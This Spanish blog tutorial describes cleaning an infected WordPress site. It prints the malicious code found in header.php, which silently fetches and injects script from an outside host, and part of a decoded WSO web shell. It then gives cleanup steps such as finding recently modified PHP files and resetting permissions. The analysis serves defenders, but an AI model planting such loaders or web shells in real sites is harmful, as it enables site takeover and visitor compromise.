Eliminar WordPress Virus PHP

Este tutorial presenta un caso particular donde un blog WordPress estaba infectado Eliminación WordPress Virus PHP.

El otro día noté un código sospechoso que parece ser un virus PHP para WordPress. El siguiente código PHP estaba presente en el header.php, antes de la línea </head>.

<?php $wp_rssh = 'http'; $wp_gt = 'web'; error_reporting(0); ini_set('display_errors',0); $wp_uagent = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Firefox|MSIE/i', $wp_uagent) && preg_match ('/ NT/i', $wp_uagent))){
$wp_gturl=$wp_rssh."://".$wp_gt.$wp_rssh."s.com/".$wp_gt."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_uagent);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_gturl);
curl_setopt ($ch, CURLOPT_TIMEOUT, 10); $wp_cntnt = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_cntnt,1,3) === 'scr' ){ echo $wp_cntnt; } ?>

Este es un código PHP que parece estar tratando de recuperar el contenido de un recurso de un servidor externo, pero la parte que se refiere a la URL está incompleta.

El mecanismo de trabajo es algo más complejo y hace esto WordPress Virus PHP invisible para los visitantes de los sitios afectados. En su lugar, apunta a los motores de búsqueda (Google) e implícitamente conduce a una disminución significativa en el número de visitantes a los sitios web afectados.

Detalles del malware WordPress Virus PHP

1. El código anterior está presente en header.php.

2. Apareció un archivo en el servidor wp-log.php en la carpeta wp-includes.

3. wp-log.php contiene un código cifrado, pero que es relativamente fácil de descifrar.

<?php eval(gzinflate(base64_decode('7b1rd../Fw=='))) ?>

Descifrar el código de malware de wp-log.php :

<?php
$auth_pass = "md5password";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler" );
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');

if(get_magic_quotes_gpc()) {
    function WSOstripslashes($array) {
        return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
    }
    $_POST = WSOstripslashes($_POST);
    $_COOKIE = WSOstripslashes($_COOKIE);
}

function wsoLogin() {
    die("
<pre align=center-->

<form method="post"><input name="pass" type="password" /><input type="submit" value="" /></form>" );
}

function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}

if(!empty($auth_pass)) {
if(isset($_POST['pass']) &amp;&amp; (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win" )
$os = 'win';
else
$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\\", "/", $home_cwd);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
?>

Esto parece ser un script PHP malicioso que contiene código para manejar la autenticación y las acciones en archivos y directorios en un servidor. Se puede ver muy fácilmente que este script contiene variables como $auth_pass (contraseña de autenticación), $default_action (la acción predeterminada), $default_use_ajax (usando Ajax por defecto) y $default_charset (configuración de caracteres predeterminada).

Obviamente, este script tiene una sección que verifica los agentes de usuario HTTP para bloquear el acceso a ciertos bots web, como los motores de búsqueda. También tiene una sección que verifica el modo de seguridad de PHP y establece ciertos directorios de trabajo.

4. Si se accede a wp-log.php en el navegador, aparece una página web con un campo de autenticación. A primera vista, parece ser un administrador de archivos a través del cual se pueden cargar fácilmente nuevos archivos en el servidor de destino.

¿Cómo desvirus un sitio web? WordPress?

Siempre, el proceso manual de eliminación de virus implica primero descubrir y comprender cuál era la vulnerabilidad.

1. Genere una copia de seguridad de todo el sitio web. Esto debe incluir tanto los archivos como la base de datos.

2. Determine aproximadamente cuánto tiempo ha existido el virus y busque en el servidor web los archivos modificados o recién creados dentro del marco de tiempo aproximado.

Por ejemplo, si desea ver los archivos .php creado o modificado en la última semana, ejecute el comando en el servidor:

find /your/web/path -type f -mtime -7 -exec ls -l {} \; | grep "\.php$"

Es un método simple por el cual puede descubrir los archivos. WordPress infectados y aquellos que contienen código de malware.

3. Verifique el archivo .htaccess de directivas sospechosas. Líneas de permiso o ejecución de script.

4. Verifique la base de datos. Es muy posible que algunas publicaciones y páginas WordPress ser editado con malware o agregados nuevos usuarios con rol de administrator.

5. Verifique los permisos de escritura para carpetas y archivos. chmod şi chown.

Los permisos recomendados son: 644 para archivos y 755 para directorios.

find /web/root/public/ -type f -exec chmod 644 {} \;
find /web/root/public/ -type d -exec chmod 755 {} \;

6. Actualizar todo WordPress Plugins / WordPress Themes.

Relacionado: Fix Redirect WordPress Hack 2023 (Virus de redirección)

Estos son métodos "básicos" por los cuales puedes desvirus un sitio web/blog WordPress. Si tienes problemas y necesitas ayuda, la sección de comentarios está abierta.

Apasionado por la tecnología, escribo con gusto en StealthSettings.com desde el año 2006. Tengo una amplia experiencia en sistemas operativos: macOS, Windows y Linux, así como en lenguajes de programación y plataformas de blogs (WordPress) y para tiendas en línea (WooCommerce, Magento, PrestaShop).

Cómo » WordPress » Eliminar WordPress Virus PHP
Deja un comentario